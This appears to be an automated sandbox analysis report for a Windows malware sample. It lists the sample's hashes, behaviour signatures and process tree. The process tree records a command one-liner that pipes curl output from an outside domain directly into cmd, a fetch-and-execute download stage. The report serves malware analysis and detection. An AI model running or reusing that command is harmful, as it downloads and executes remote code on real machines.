Overview

overview

3

Static

static

3

2026-10-22...ar.exe

windows10-2004-x64

3

2026-10-22...ar.exe

windows11-ltsc_2024-x64

3

Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 02:30

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General

  • Target
    2026-10-22_a0c07efb2e14d9b3ef56422b42b79a55_akira_cobalt-strike_glassworm_rusty-stealer_satacom_vidar.exe
  • Size 2.3MB
  • Sample261024-czkhnaea87
  • SHA256 2626711f72f5fdcd97719f7b20a326269e79ebd61b7e90736ed4360b27a4a2ea
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
3/10
discoveryexecution

Malware Config

Signatures

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-22_a0c07efb2e14d9b3ef56422b42b79a55_akira_cobalt-strike_glassworm_rusty-stealer_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-22_a0c07efb2e14d9b3ef56422b42b79a55_akira_cobalt-strike_glassworm_rusty-stealer_satacom_vidar.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\system32\cmd.exe
      "cmd.exe" /c "curl https://vhs2digitalconvert.co.za/.well-known/acme-challenge/settings.php?win=8.... | cmd"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4424
      • C:\Windows\system32\curl.exe
        curl https://vhs2digitalconvert.co.za/.well-known/acme-challenge/settings.php?win=8....
        3⤵
          PID:3164
        • C:\Windows\system32\cmd.exe
          cmd
          3⤵
            PID:1876

      Network

            MITRE ATT&CK Enterprise v16

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